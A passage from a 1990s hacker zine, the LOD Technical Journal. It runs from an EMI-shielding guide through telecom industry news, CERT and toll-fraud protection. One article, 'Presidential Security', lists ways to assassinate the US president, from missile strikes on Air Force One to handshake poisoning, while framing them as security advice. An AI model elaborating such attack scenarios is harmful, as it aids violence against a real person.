impedance. You +desire to reduce the impedance to as low a value as possible over the entire +range of EMI frequencies. + +Unlike the AC safety ground, important factors in achieving low impedance +include having as short a lead from the equipment to a good EMI earth ground +as possible (must be just a few feet); the gauge of the connecting lead (the +best EMI ground lead is not wire but woven grounding "strap" or wide copper +flashing sheets; and the physical coupling of the EMI into the actual earth +ground. An 8 ft. copper-plated ground may be fine for AC safety ground, but +may present appreciable impedance resistance to an EMI voltage. Much better +would be to connect a network of six to eight copper pipes arranged in a six- +foot diameter circle driven in a foot or two into the ground, +electrically bonded together with heavy ground strap and connected to the +equipment to be grounded via a short (at most, several feet), heavy (at least +3/4-1" wide) ground strap. + +If you can achieve a good EMI ground, then further shielding possibilities +open up for you such as surrounding your monitor and computer equipment in a +wire-screen Faraday cage. You want to use mesh rather than solid sheet +because you must preserve the free flow of cooling air to your equipment. Buy +aluminum (not nylon) screen netting at your local hardware store. This +netting typically comes in rolls 36" wide by several feet long. Completely +surround your equipment you want to reduce the EMI being careful to make good +electrical bonds between the different panels of netting and your good earth +ground. I use stainless steel nuts, bolts, and lock washers along with +special non-oxidizing electrical paste (available from Electrical +contractors supply houses or from ICE) to secure my ground strapping to my +net "cages". A good Faraday cage will add several orders of magnitude of EMI +attenuation to your system. + + + VIII + Checking the effectiveness of your work. + +It is easy to get a general feeling about the effectiveness of your EMI +shielding work with an ordinary portable AM radio. Bring it very close to the +body of your computer and its cables in turn. Ideally, you should not hear an +increased level of static. If you do hear relatively more at one cable than +at another, apply more ferrite split beads or obtain better shielded cable +for this component. The practice of determining what kind of operating system +code is executing by listening to a nearby AM radio is definitely obsolete +for an well-shielded EMI-proof system! + +To get an idea of the power and scope of your magnetic field emissions, an +ordinary compass is quite sensitive in detecting fields. Bring a compass +within a few inches of the back of your monitor and see whether it is +deflected. Notice that the amount of deflection decreases rapidly with +distance. You want to keep cables away from magnetic sources about as far as +required not to see an appreciable deflection on the compass. + + + VIIII + Summary + +If you start with good, shielded equipment that has passed the FCC level B +emission standard then you are off to a great start. You may even be able to +do even better with stock OEM equipment by specifying "low-emission" monitors +that have recently come on the market in response to consumer fears of +extremely low frequency ("ELF") and other electromagnetic radiation. +Consistently use shielded cables, apply filtering and ferrite toroids to all +cabling entering or leaving your computer equipment. Finally, consider a good +EMI ground and Faraday cages. Beyond this there are even more effective means +of confining the electrical and magnetic components of your system through +the use of copper foil adhesive tapes, conductive paint sprays, "mu metal" +and other less common components. +--------------------------------------------------------------------------- + +The LOD Technical Journal: File #11 of 12 + + OOOOOOOOOOOOOOOOOOOOOOOOOOO + OOOO OOOO + [] [] + []Presidential Security[] + [] [] + OOOO By Argon/LOD OOOO + OOOOOOOOOOOOOOOOOOOOOOOOOOOOO + + +This phile is intended to give a glimpse into what's behind all those stern- +faced, emotionless secret service agents that surround the president and to +give analysis into the security surrounding our executive branch. + +Our current President, or more formally Commander in Chief is as everyone +knows is Bill Clinton. Ever since his inauguration he has been under +supposedly "tight" security. However, even with up to double the normal +security allotment he is still at risk. And the list of would be assassins is +large, everyone from Iraqis, Serbians, Islamic fundamentalist militants and +if you listen to these conspiracy theories you can throw in the military +industrial establishment and heck even the religious right has motive for +assassinating the CINC. + +Which has given rise to millions of dollars worth of hardware and Secret +Service payrolls for his protection. 200 agents, personal security teams and +body-guards watch our CINC 24 hours a day without rest. + +What I intend to analyze is the methods of protection utilized by the SS, +their weaknesses and how they can be rectified. As the most powerful +individual in the world, our president must be safeguarded at all costs, as +he is an extremely high profile target. Nothing could give a terrorist group +more publicity and recognition that assassinating the American president. +Hopefully, the SS can keep this in mind when reading the recommendations +suggested later on when they review this journal for their computer crime +investigations... Perhaps someone will bring this to the CINC's attention, as +for the next 3 odd years the only relevancy of this phile is in ensuring +*his* safety. + +4 US Presidents have been assassinated in our nation's history so with such +a risk of assassination no cost in protection is to high. The huge Whitehouse +budget can easily afford to spend more on security and less on bureaucracy. + +At first glance, a Presidential assassination seems very simple. After all, +he's in front of the cameras up to 2 hours each day and its's no secret where +to find him, just stroll over to 1600 Pennsylvania Av. The Whitehouse doesn't +appear to be well defended, the windows aren't sandbagged, there is no barbed +wire, electrified fence, guard towers, minefields or even a solid wall. Just +a fragile and cosmetic black gate fence. + +This first impression is entirely incorrect. The Whitehouse is ringed in +other tall buildings, giving SS sharpshooters an excellent position to fire +from. Behind all the stonework they have a superb spot to cover the +Whitehouse with. And the uncluttered Whitehouse lawn gives them a clear field +of fire. Anyone stupid enough to simply scale the fence, or ram through it +would be cut down in a hail of fire before making it halfway across the lawn. +Coming from those perched in the surrounding buildings, and the agents inside +the whitehouse. The sharpshooters posted to presidential security are simply +the best at what they do. They don't "miss". + +Perhaps the most effective route for a terrorist to take would be to attack +the President while he's airborne in either a helicopter or airplane (in this +case Air Force 1). Here the President is certainly at his most vulnerable. +Infrared (IR) guided surface to air missiles (SAMs) such as the Russian SA-7 +or newer SA-14, or the US Stinger could be used with deadly effect to shoot +down the aircraft. All aircraft the President travels in are equipped with IR +jammers such as the ALQ-144, which send out hotter heat waves than the +aircraft does in different directions from a small pylon shaped group of +lenses. Presently most missiles are not advanced enough to pick out the +aircraft from all the other false directed heat. Non IR guided systems can be +utilized though. The British Shorts Blowpipe or Javelin however are optically +guided, by means of a joystick and monocular sight. So IR jamming is useless. +The only way to really avoid them is to silence the person guiding it. And +these are not too difficult to obtain, they have already been used by the +Afgan rebels. So obtaining these and other SAMs is relatively easy, as they +are found in many of the world's hotspots for the right price. There is no +effective safeguard in place by the SS to protect the Presidents aircraft +from an optically guided SAM. + +Even if a terrorist has no access to a SAM aerial assassinations are still +possible. A small "Cessna" like aircraft could simply be used in a "Kamikaze" +like role by colliding midair at high-speed with the president's helicopter. +Given the superior speed of a fixed wing aircraft the helicopter pilot would +have to be highly skilled to avoid it. Presidential pilots are trained in +such avoidance techniques but whether they could dodge one in practise is +unclear. + +The Soviets used to have a phobia about helicopters because of their low +speed and high vulnerability to SAM's, ground fire and aircraft. Consequently +Secretary Generals and high ranking officials never flew by helicopter. The +President should likewise cease travel by helicopter as well. Conventional +fixed wing flights are much safer. Only during takeoff and landing is the +President vulnerable, and then only to SAM's. Groundfire is ineffective +against large body aircraft and with greater speed and size the risk from +"Kamikaze" style attacks is reduced. Fighter cover, usually from F-14's is +occasionally provided so any hostile aircraft (such as a Kamikaze Cessna) +wouldn't stand a chance. As Air Force 1 moves at slow speeds during landings +or is slowly accelerating off the ground during takeoff's there is an +*alarming* threat from SAM's. Slow moving giants like Air Force 1, are turkey +shoots for agile, supersonic man-portable SAM's. When taking off or landing +at a public airport an assassin has many places to make a hidden lanching +from. With a range of over 2 Km, Air Force 1 is vulnerable for a *long* +period of time. As it climbs, it has no speed or room to manoeuvre. Even if +it could, commercial airliners are not known for their agility. The only hope +then is through IR jamming, electronic jamming, chaff or flares. Since the +assassin knows the runway position, he knows the direction of where Air Force +1 must takeoff or land from. There would be less than 15 seconds before +launch and impact. The launch-warning beeper aboard Air Force 1 would only +just be recognized before Air Force 1 would be blown from the sky. + +To reduce this risk, the President should takeoff and land from well-secured, +isolated military airfields when travelling domestically and internationally +and stick as much to ground transport as possible. By using secret travel +plans (such as which airport he will arrive at in New York for example) an +assassin won't know which airport to cover. After all the public doesn't need +to know the Presidents air travel itinerary. + +Another policy used by the SS is to keep the specific details of the +Presidents movements secret. Everyone knows when the president will be giving +a speech, but the exact times are always classified. Which complicates the +assassins operation, as careful planning in advance is required. + +Whenever the president's exact location has been made known in advance, +security is always *tight*. For example during the State of the Union address +the entire vicinity is sealed off. + +However security during these events and regular operations must be +increased. One threat is from anti tank guided weapons (ATGWs). Optically +guided along a thin wire for in-flight corrections they have a range up to 3 +Km. Or from bigger air or ground launched missiles such as the Maverick. An +assassin could fire from the other side of DC, into the stands during the +inauguration ceremony for example. Not only the President would be eliminated +but so to would all the supreme court justices, the former President and +Vice-President, the new Vice-President - the whole government. The same +applies when the President addresses a joint session of congress. Using +guided weapons, an aircraft or even an improvised nuclear device (IND) the +*entire* judicial, legislative and executive branches of the US government +would be eliminated! Such a congregation of VIP's is a flawed idea from the +start. Tradition should give way to reason and smaller events should replace +them. Celebrating democracy is great but to risk the entire US government? + +So far only advanced methods of assassination have been examined. The +possibility of a "lone gunman" using basic methods, with no more than +personal weapons still remains. Take for example, the president giving an +address to university graduates. It would take less than 2 seconds, for an +assassin to remove his hand from an undercoat, clenching a firearm to aim and +fire one round. Against this it takes a minimum of one second for the SS +agents to react to the initial movement of the assassin's hand, one second to +draw their weapons and another two to aim and fire. The president could be +dead before the SS had finished aiming. Of course in some cases audiences are +searched with metal detectors for weapons. It doesn't take a genius to +smuggle in a small handgun into an audience of a few thousand though. + +The only option here is to reduce or eliminate public appearances by the +President. But as the President would no doubt insist on being visible and +open for all the cameras it isn't likely. Better checking of the site +beforehand and on audiences is necessary then. + +A similar situation exists with say, the motorcade on inauguration day, where +the President often leaves the car to walk alongside it. Here the SS is out +in great force with rifles trained and ready. But we are back to our +fundamental disadvantage. The assassin will always have at least a 1-2 second +jump on the SS. + +As was mentioned before, by moving towards ground transportation instead of +air the President is much safer. As you might already know the President +travels in a "bullet proof" custom built vehicle. It goes everywhere that he +does. When he goes to Russia, so does the car. The car's armour will stop +small arms fire (ie. handguns, automatic weapons, rifles etc.) However, fire +from a crew served 12.5mm gun will penetrate it. Since a gun of this size is +to large and bulky to be concealed from a hundred odd SS agents it's not a +worry. Remotely fired ATGW's or pre-positioned explosives are. Pre-positioned +explosives won't work as the president's exact route is usually classified. +When it's not secret, like on inauguration day or a parade, the route will +have been carefully combed over a dozen times for explosives. And the manhole +covers welded shut to prevent anyone from placing explosives beneath the +road. + +The bullet-proof car however isn't ATGW-proof. Their shaped charges are +designed for penetrating main battle tanks (MBTs) with frontal armour a foot +thick. It would be best for our president to travel in a modified M1A1 Abrams +MBT. Some ATGW's may be able to penetrate its rear or perhaps side armour but +no existing ATGW's will penetrate its frontal armour. As its made of top- +secret "cobham" plating which is several times stronger than an equivalent +amount of traditional steel. + +Most assassinations are not done through the use of violent force. They are +more subtly done using poison for example. Whitehouse security around the +president's food is almost non-existent. Even if the food was "checked", ie. +some bloke eats portions of it first and is watched for sickness, it could +never reduce the risk poised by long term or delayed acting poisons. What +should be done then? The President should appoint an agent to go out and +randomly purchase food from restaurants and keep it under guard. This way no +one will know which food to poison. A simpler method is to infect one's hand +with it (after consuming an antidote), and then shake the president's hand, +transferring the poison to him. Saddam Hussein, has a solution to this - the +hands of visitors are disinfected prior to meeting the dictator. Airborne +bacteria could be let loose near the president to cause infection too. +Perhaps the Whitehouse should have its own sealed environment to guard +against this. + +Our president is as stated earlier in much peril. It's only a matter of time +before a group or faction builds up the nerve to attempt an assassination. +When they do, enough loopholes in the security arrangement today exist for +success. By acknowledging and acting upon some of the recommendations made +here, the global disruption that would result from an assassination or +attempt of one can be prevented. At the very least the president must cease +travelling by helicopters, increase security at public appearances and guard +against poisons. To give our president the security that is truly justified +by his important role, the president must keep appearances to a minimum, +reduce the number of officials at major ceremonies and consider travelling by +armoured vehicle to avoid the dangers poised by ATGW's or RPG's. +--------------------------------------------------------------------------- + +The LOD Technical Journal: File #12 of 12 + + Network News & Notes + =------------------= + + +If some of this seems a little "old", do keep in mind that everything since +'90 has to be covered. As most of the other 'ZiNeZ are narrowly focused on +major publications and miss out on current events in the industry and a lot +of other interesting news. + +--------------------------------------------------------------------------- +DCS Comes to Russia (Tellabs, April 1993) + +A Tellabs TITAN 532E digital cross-connect system (DCS) and 452 series +transcoders have been installed by Moscow Cellular Company, a joint venture +that includes US West and Moscow public telephone network operators, to boost +capacity in its cellular transmission network. + +The DCS, which is the first to be installed in Russia, increases the capacity +of the Moscow mobile switching centre (MSC) by "grooming and filling" +partially-filled 2 Mbit/s PCM links from radio base stations. The 452 60- +channel transcoders are used to double the capacity of 2 Mbit/s PCM +transmission links between base stations and the MSC. + +---------------------------------------------------------------------------- +UK Renumbering (BT, April 1993) + +A campaign to prepare its customers for changes to national and international +dialing codes was launched by British Telecom (BT) on 1 February 1993. + +The changes announced last year by the Office of Telecommunications (OFTEL), +will take place on 16 April 1995, more than two years hence. BT is starting +its publicity campaign now, however, so that everyone will be ready. + +The changes follow extensive and lengthy consultation by OFTEL with +representatives of telephone users, operators and equipment manufacturers. +The creation involves the additional codes and numbers needed to cater for +the growth of the telecom services well into the next century, provide +capacity for new operators entering the market. + +Area dialing codes will have a "1" inserted after the initial "0". For +example Cardiff's 0222 becomes 01222 and Central London will change from 071 +to 0171. + +The international dialing code changes from 010 to 00. This is a European +Community requirement based on CCITT Recommendation E. 160. + +Five cites will be given completely new codes and their existing six-digit +local number will be increased to seven digits. + +Codes which do not denote a geographic area, for example Freefone 0800 +numbers, mobile codes such as 0860 and 0850, and information and +entertainment services on a code such as 0891 will not change. + +----------------------------------------------------------------------------- +BT checks into the Holiday Inn (BT, April 1993) + +The Holiday Inn hotel chain with more than 1700 hotels in 54 countries, has +signed a 2-million pound sterling three-year contract for BT's global network +services.

Called AT&T 800 Speech Recognition, this new capability +enables callers to verbally respond to announcement that allow them to +automatically select the information or assistance they want. + +AT&T is the first long-distance company to provide voice-activated call +routing in an 800 service network. Past technology only enabled callers using +touch-tone telephones to direct their calls after responding to menu prompts +with their keypads. Now, these callers can route their own calls quickly and +efficiently by simply speaking their choice. And for the first time, callers +with rotary telephones will be able to enjoy the same benefits as callers +with touchtone phones. + +AT&T Speech Recognition is a network-based, advanced 800 Service innovation +that prompts callers to speak a number - from "one" to "nine" - corresponding +to a menu of options that identifies the department or location they wish to +reach within the company they're calling. + +Supported by state-of-the-art technology from AT&T Bell Laboratories, AT&T +Speech Recognition is able to recognize the spoken number, process the +information, and route the call through the AT&T network to the appropriate +destination. During field tests, AT&T Speech Recognition correctly identified +the spoken number 97.8 percent of the time. this high completion rate was +achieved even taking into account the many dialects and accents that exist +across the US. + +AT&T Speech Recognition represents the latest step in AT&T's drive to provide +its customers with complete automated transaction processing. Eventually, the +capability to recognize more advanced words and entire phrases will make it +possible for AT&T 800 Service customers to process orders, dispatch repair +crews, provide account information, or handle countless other functions in a +fully automated, cost-effective way, if they so desire. + +----------------------------------------------------------------------------- +Amplifier, Vector Attenuator for Wireless Applications (AT&T Technology, v.8, +no.1) + +AT&T Microelectronics recently expanded its wireless applications technology +with two high-performance, high reliability thin-film-on-ceramic devices for +cellular base stations. + +The components are the GSM Low Noise Amplifier, an unconditionally stable +amplifier designed for Global System for Mobile Communications (GSM) cellular +base station receivers, and the 1098E Complex Vector Attenuator, a surface +mount device that enables designers to build sophisticated signal +cancellation systems into base station transmit amplifiers. + +The GSM low-noise amplifier is a balanced amplifier design. It operates in +the 890- to 915- MHz frequency range and exhibits exceptionally low noise +(1.3 dB maximum) and high third order intercept (38 dBm) with a 32 dB small +signal gain, operating on a single 24 volt DC supply. While the device is +tailored for the GSM band, it provides similar performance in the 824- to +849-MHz AMPS band. + +The key benefit to the designer is the device's unconditional stability, a +characteristic important to eliminating oscillation. Due to its thin-film-on- +ceramic implementation, the device also provides, for a given bias condition +lower junction temperatures and therefore longer life and increased system +reliability than a PWB realization. + +The 1098E Complex Vector Attenuator is functionally equivalent to the +combination of an endless phase shifter and an attenuator. It is used to +control the phase and amplitude of a signal without introducing +intermodulation distortion, dispersion, or variation in group delay. In +addition, there's no limitation on phase change, which can increase or +decrease continuously without reaching an endpoint. + +Production quantities of the GSM low-noise amplifier will be available this +fall, while the 1098E Complex Vector Attenuator is currently available in 124 +PIN PQFP packaging. Pricing details and product literature are available from +the AT&T Microelectronics Customer Response Center, 1-800-372-2447 Ext. 869 +(In Canada, 1-800-553-2448, Ext. 869); fax 215-778-410 or by writing to AT&T +Microelectronics, Dept.

International connections +are completed via an earth station located in Zolochive, which in turn is +connected to an international switching center in Kiev, Ukraine. Just four +months ago, international calls from Ukraine were possible only via their +services of Moscow's telephone operators; on average, outgoing calls required +24 hour's advance notice. + +The 5ESS Switch in L'viv includes 4,000 trunk lines and 1,000 subscriber +lines and is the latest generation of telecom equipment utilizing digital +technology to connect voice, data and image messages. UTEL recently signed an +agreement to purchase six additional 5ESS switching systems for Ukraine. +Final assembly of these switches will take place locally in Ukraine at the +Chernighiv Zavod Radioaparatur (Chezara) production plant in Chernigiv. +Following L'viv, the next switches are scheduled to be installed in +Chernivtsi, Uzhorod, Poltava, Luhansk and Kirovohrad, doubling today's +capacity. +----------------------------------------------------------------------------- +XUNET (AT&T Technology, v.8, no.1) + +XUNET: Today's Experiments Define Tomorrow's Reality +The Experimental University Network - XUNET - will soon carry 622-Mb/s +traffic + +A high-speed experimental network is giving researchers and graduate students +an opportunity to explore issues important to the future of data +communications. The Experimental University Network (XUNET) now consists of +experimental switches, based on the Asynchronos Transfer Mode (ATM) standard, +linked by 45 megabit-per-second (Mb/s) transmission lines. + +Host computers on fiber-distributes data interface LANs communicate over +XUNET via routers between the LAN and the ATM backbone. In a few months, +AT&T, the University of Wisconsin at Madison, and the University of Illinois +at Urbana-Champaign will begin to communicate over experimental links at 622 +Mb/s. + +With the higher-speed links and a higher-performance Peripheral Interface +LAN, a user in a remote location will be able to display the output of a +supercomputer simulation on his or here workstation in real time. + +While the XUNET testbed is small, the research program seeks to understand +the problems of a large high-speed data networks. With existing wide-area +data networks, most users communicate at speeds of 1.5 Mb/s or less. Research +on XUNET anticipates that users will interface at speeds up to hundreds of +Mb/s. With higher speeds comes the potential for new applications such as +full-motion video, multimedia conferencing, and distributed computing all +over the public network. The XUNET testbed, which is supported by AT&T Data +Communications Services, is also the basis for BLANCA, one of five gigabit +testbed networks sponsored by the Corporation for National Research +Initiatives. + +TESTBED EVOLUTION +The program began with XUNET I in 1986 as a collaboration among AT&T, the +University of California at Berkeley, the University of Illinois, and the +University of Wisconsin. The universities were linked with AT&T Bell +Laboratories using DATKIT VCS switches and transmission links used ACCUNET +T1.5 Services at 1.5 Mb/s. + +Students at the universities have a change to try ideas out first hand by +using XUNET as a research tool in running controlled network experiments. For +example, students can remotely download different algorithms into the XUNET +switches to study the effect on a heavily loaded network. + +XUNET II became operational in January 1992, offering a thirty-fold increase +in speed over XUNET I by using experimental ATM switches and transmission +lines operating at 45 Mb/s. In addition to AT&T and the universities Pacific +Bell and Bell Atlantic are involved in the XUNET II activity. In July 1992, +Sandia National Laboratories and Lawrence Livermore Laboratories were linked +into the XUNET testbed, and in February 1993 Rutgers University joined. In +addition, students from the University of Pennsylvania and Columbia +University participate in the XUNET program, and students from the +universities have been invited to AT&T Bell Laboratories at Murray Hill to +work with researchers there. + +XUNET III, the first portion of which is scheduled for operation this June, +will be more than an order of magnitude faster than XUNET III. A 622 Mb/s +link will connect XUNET switches at an AT&T Chicago CO, the University of +Wisconsin, and the University of Illinois. + +RESEARCH RESULTS +The XUNET collaboration includes research in many of the key areas in wide- +area networking, including switch architectures, LAN interfaces, network +operations, managment tools and techniques, and network applications. One +focus of the program has been on congestion control to determine how the +network can meet the quality of service needs for different types of traffic +even in the presence of heavy load. + +For example, voice, video and multimedia traffic may require controlled delay +and variation in delay, whereas file transfer traffic may not. Research into +protocols and the trunk service disciplines used in switching nodes have +identified effective ways of carrying many types of traffic in a network +while avoiding congestion and degradation of the quality of service. + +XUNET has already provided valuable insight for AT&T's service realities. And +this will continue to be the case as AT&T moves towards its realization of +ATM services in 1994. + +By A.G. Fraser, Erik K. Grimmelmann, Charles R. Kalmanek and Giopala S. +Subramanian + +----------------------------------------------------------------------------- +DACS II Goes TEMPEST (AT&T Technology, v.7, no.4) + +The National Security Agency (NSA) of the US Government has endorsed the +TEMPEST version of the AT&T Digital Access and Cross Connect System II (DACS +II). The TEMPEST is encased in a special cabinet which shields its electronic +output from eavesdropping or monitoring by unauthorized personnel. + +The NSA endorsement means it will be included on the Endorsed TEMPEST +products list. Communications Systems Technology, Inc. (CSTI), based in +Columbia, MD, engineers the cabinet under an agreement with AT&T Network +Systems, then markets the TEMPEST as a CS-1544 switch. + +The DACS II is a fast and reliable digital cross-connect system developed by +AT&T. Up to 160 standard 1.544 megabits-per-second DSI signals, each +consisting of 24 channels (DSOs) may be terminated on the CS-1544. Each of +the 24 DSOs comprising a DS1 signal may be cross connected to any other DS1. +----------------------------------------------------------------------------- +Swat teams on 24-hour call (IEEE Spectrum, August 1992) + +"We all have wonderful war stories to tell about being roused from sleep," +said Barbara Fraser, one of seven members of the Computer Emergency Response +Team (CERT). Most computer crackers, like common robbers, prefer to break in +during off-hours, she said, and international incidents add to the 24-hour +nature of the job. Mostly, however, CERT's business is conducted between +7:30a.m. and 6 p.m. Pittsburgh time. + +CERT's domain is the Internet, a worldwide supranetwork with perhaps a +million host computers and five to eight million users. Roughly half are in +the US, and membership is expanding fast in Europe, the Pacific Rim, and +South America. + +Each day, the CERT team responds to an average of 300 hotline calls and email +messages most in English. Last year, they averaged about one "incident" a +day. Now its up to three. (An incident is an actual of attempted intrusion.) +They have responded to serious attacks from Europe ("This is NOT A PRANK"), +put out a major US hackers alert that counselled "Caution (not panic) is +advisable," and warned against email trojan horses that catch passwords from +gullible users. + +When a call or message comes, the CERT member on duty supplies technical +guidance to the site so that they can fix the problem and assess damage. +Unless otherwise agreed to, everything is confidential and may even be +anonymous. CERT members determine whether the host was networked, its level +of security, the system configuration, and whether the system's vulnerability +is familiar or new. + +CERT director Ed DeHat stresses that any tip is welcome. Last year, for +instance, a person reported a failed attempt to seize his password file. CERT +went back to the originating site and found intruder(s) "were trying to break +into thousands of system." The originating site alerted managment, cut +connections to the outside temporarily and closed the "holes" in its security +system. + +CERT does not investigate intrusions with an eye to criminal prosecution, but +it does recommend whom to contact for investigations by law enforcement +groups such as the local police, the FBI, or the SS. + +Most of CERT's traffic consists of security chatter; experts call to share +information while others ask CERT advisories or request general advice. Less +often, CERT has to tip off organizations about likely penetrations. "Almost +always, an incident is not stand-alone," said Fraser. It may vary from 10 +hosts at a single site to "tens of thousands of hosts over the world." + +Many people do not wait for a problem by call CERT for a "sanity check" - +reassurance that their site and its systems are safe. Novices are not +discouraged. "We hold their hands," Fraser said. Help is free and is even +encouraged. + +CERT was formed only weeks after the paralysing 1988 attack on Internet by +Robert Morris Jr., son of a computer security scientist. It is funded by the +Pentagon's Defense Advanced Research Projects Agency through the Software +Engineering Institute at Carnegie Mellon University in Pittsburgh. + +With its expertise in system vulnerabilities, CERT is expanding its efforts +in education and training as well as research and development for network +security. Already, it sends a security checklist to sites as needed and +advises cores of Unix software vendors of security flaws that need patching. +It also keeps a confidential mailing list of vendors regarding +vulnerabilities in their products. "This is not the textbook type of security +problem," DeHart said. "This is based on what people are doing." + +Such companies as Sun Microsystems and NeXT, and more recently IBM, are +mentioned a lot in the CERT advisories, noting fixes to systems flaws. Rather +than being an embarrassment or indictment of their products, this shows that +these companies are committed to security, DeHart said. + +CIAC (for Computer Incident Advisory Capability), a sister group of CERT with +responsibility for Department of Energy computers, is located at the Lawrence +Livermore National Laboratory in Livermore, CA. Known for its software an +analytical capabilities, CIAC keeps 20-30 viruses in isolation "for +dissection and reverse engineering." + +Steve Mich, CIAC project leader, said they average perhaps one or two +incidents a week, Like CERT, they always wait until a patch is found before +they announce the vulnerability. The flaw is described over email as vaguely +as possible to thwart would-be-crackers. But sometimes, he said, "it's like +trying to describe a hula hoop without moving your hand." + +Other countries are responding too. In 1990 Germany's information security +agency created two national incident response teams: the Virus Test Center at +the University of Hamburg and the MicroBIT Virus Center at the University of +Karlsruhe. + +The Hamburg center has five staffers and many students who analyze viruses +and monitor activities of the German hackers known as Chaos Computer Club. +The center receives 20-100 reports of virus cases each week from Germany and +Scandinavia., divided equally between government, industry and academia. +Email links aid coordination with other experts in Australia, Europe, Japan +and the US. A current European Community initiative would create serval more +CERT-like groups in diverse countries. + +All told, the US Department of Justice reports there are more than a dozen +CERT teams. Not to be left out, its own FBI recently formed the Computer +Analysis and Response Team (CART), which will take its place beside other FBI +laboratories, like those for analysis of DNA, chemicals and poisons, and shoe +and tieprints. + +Initial plans call for a staff of 12 agents. CART's main task will be the +forensic examination of computer evidence, according to manager Stephan +McFall. They must also guarantee (somehow) to the satisfaction of US courts +that magnetic data has not been altered or deleted since being confiscated. +McFall declined to give more details other than to say that research is being +done and that CART will also help train agents in the field. + +There are so many CERT-like groups in government and industry today that in +1990 the Forum of Incident Response and Security Teams (First) was born. The +group meets regularly and organizes workshops on incident handling. Even +organizations without worm-busting squads can join if approved. + +- J.A.A. + +----------------------------------------------------------------------------- +Getting Tougher on Long-Distance-Service Thieves (AT&T Technology, v.7, no.4) + +Theft of phone service is escalating. AT&T's NetPROTECT program helps +customers secure their communications systems against remote access, +preventing fraud. + +Picture this. It's 2 a.m. on a soft spring night on Wall Street. The +buildings lining the canyons of lower Manhattan are dark and silent; even the +cleaning staffs have gone home for the weekend. + +But inside the offices of Global Conglomerate, Inc. - GlocCon for short - +it's very, very busy. For several hours GlocCon's PBX has been pressed to +keep up with call-processing demand. Thousands of calls to dozens of domestic +and international locations have poured out of the company's offices since +just past normal closing time. The PBX is so active, in fact, that it offers +a constant busy signal to anyone trying to call in. + +For a Saturday morning at 2 a.m., GloCon is doing a land office business. The +problem is that all that business is illegal. GlocCon is being hit by +"callsell" operators - big time. Over the weekend alone, the toll-fraud bill +is going to be substantial, perhaps even outstripping GloCon's normal monthly +phone bill. And, according to the tariffs governing AT&T's services, GlocCon +is responsible for picking up the tab. + +Happily, for customers ant AT&T, such an experience may soon be history. +Since August 24, 1992, when tariffs became effective, AT&T has been offering +customers the NetPROTECT family of products and services, an integrated +offering of hardware and software that helps detect, prevent and correct +remote PBX toll fraud. + + +Such fraud is expensive. Estimates of the financial damage done by hackers +and long distance thieves range from less than $1 billion to over $4 billion +annually. From AT&T's perspective, the best estimate of industry toll fraud +is $1.2 billion annually, a figure issued by the Washington D.C. based +Communications Fraud Control Association. + +But by any estimate, the fraud problem is large and growing. For several +years AT&T has offered security seminars aimed at alerting customers to toll +fraud, and has been telling them how they an protect themselves against it. +AT&T actively works with customers to make certain they understand and use +their business telephone system's security features. + +AT&T also cooperates with law enforcement agencies and customers in resolving +ongoing investigations of fraud. And it recently has been the forefront of +developing legislation on the state and federal levels that would treat toll +fraud as the serious crime that it is. AT&T worked with the New York State +legislators to make the theft of long distance service a felony; the law +became effective Nov. 1, 1992. + +The NetPROTECT Service offering includes fraud protection for customer +premises-based equipment as well as three levels of network protection. With +NetPROTECT Service active seven days a week, around the clock, AT&T's +NetPROTECT Service Security organization can look continuously at network +calling patterns, especially calls to a changing number of high-fraud +countries. + +These countries usually are involved in drug trafficking and the "country-of- +the-month" changes frequently changes frequently. Fraudulent calls also are +made to countries from which there's large legal and illegal emigration to +the U.S. A toll switch in the U.S may suddenly start pumping out a large +number of one of these countries from a particular CO. If the calls are found +to originate from a business, AT& contacts the company, says fraud is +suspected, and works with an employee to stop the fraudulent calling from the +PBX. + +NetPROTECT Service is made possible by the Toll Fraud Early Detection System +- TFEDS. (See sidebar, next paragraph) TFEDS, a pattern recognition network +monitoring tool, was developed by Business Customer Services - BCB (Business +Customer Billing) and the Network Services Division. TFEDS enables AT&T's +Corporate Security organization to quickly spot and monitor calling patterns +that indicate fraud - as it occurs. NetPROTECT Services offers different +levels of protection that are tailored to customer needs. +Toll Fraud Early Detection System +TFEDS provides AT&T's Corporate Security Group with timely and flexible +monitoring tools to detect and report remote-access PBX fraud. TFEDS also has +access to near-real-time billing data for identifying PBX fraud patterns. +In the past; that is, prior to NetPROTECT Service, the limited amount of call +monitoring that was done used data that was three days to two weeks old. Now, +monitoring reports are generated almost hourly, around the clock, every day. +TFEDS processes data for 800 and international services and, based on +predefined customized parameters, generates reports to later Corporate +Security that a customer's PBX is being hacked, or that there's abnormal +international calling from the PBX. Planned TFEDS enhancements include an +expert system to improve detection accuracy by allowing NetPROTECT Service +Security to maintain generic and customer-specific business rules applicable +to PBX fraud. It also will be possible to maintain customer-specific data for +long-term statistical analysis and trending, and there will be better tools +for fraud case management. + +LEVELS OF PROTECTION +Basic Service, the first level of protection, is provided to all AT&T +businesses long distance customers at no charge. With this service, AT&T +monitors its domestic 800 service and international long-distance network +around the clock, seven days a week, in an attempt to spot suspicious +patterns of network usage indicating fraud. Because more than 90 percent of +toll fraud is international traffic to a certain number of high-fraud +countries. Basic Service can catch a significant amount of fraud while its's +in progress. + +In early 1992 AT&T received FCC approval to deny hackers access to AT&T's +800-Service network. Using some of its basic monitoring tools, NetPROTECT +Security can monitor repeated 800 call attempts made from a particular phone +number. + +In the fictional Wall Street example. high calling volume from GloCon's +headquarters to high-fraud countries after normal business hours would be +flagged as potential fraud. Under the Basic Service option, AT&T would call +a company representative to warn of suspicious traffic from its office, and +the person would shut down the PBX. If the representative can't be contacted +or takes no action, the customer would continue to bear all liability for +whatever fraud occurred. + +Advanced Service offers a greater degree of protection, requiring AT&T to +implement several safeguards that include: + +o preventing access to the PBX from remote-maintenance ports; +o installing security codes on the PBX so people who dial in, using remote +access and other advanced features of the PBX, must dial a multidigit +security code to dial out; +o safeguarding voice-mail systems so callers can't migrate from the system to +outgoing direct-dial trunks; and +o maintaining backup copies of PBX software so if the PBX is hacked, it can +be shut down and brought back up. + +Customers must also provide a list of phone services and a list of phone +numbers they want AT&T to watch, and the names and numbers of three people in +the company who can be called anywhere, anytime if there's a problem. In +exchange the customer's liability is $25,000 per fraud incident, measured +from when the fraud starts until two hours after the customer is notified. +[Eds. The original said "after AT&T is notified" but this makes no sense as +the customer is the one that must shut off the PBX. And the next sentence +deals with AT&T being notified by the customer.] If the customer spots the +fraud first then notifies AT&T, the customer's liability is reduced by 50 +percent, to a maximum of $12,500. Once fraud is identified, AT&T works with +the customer to find the source and shut it down. AT&T's liability, however, +stops two hours after the fraud is identified. + +Premium Service offers still further protection, requiring customers to +follow more stringent security guidelines. In 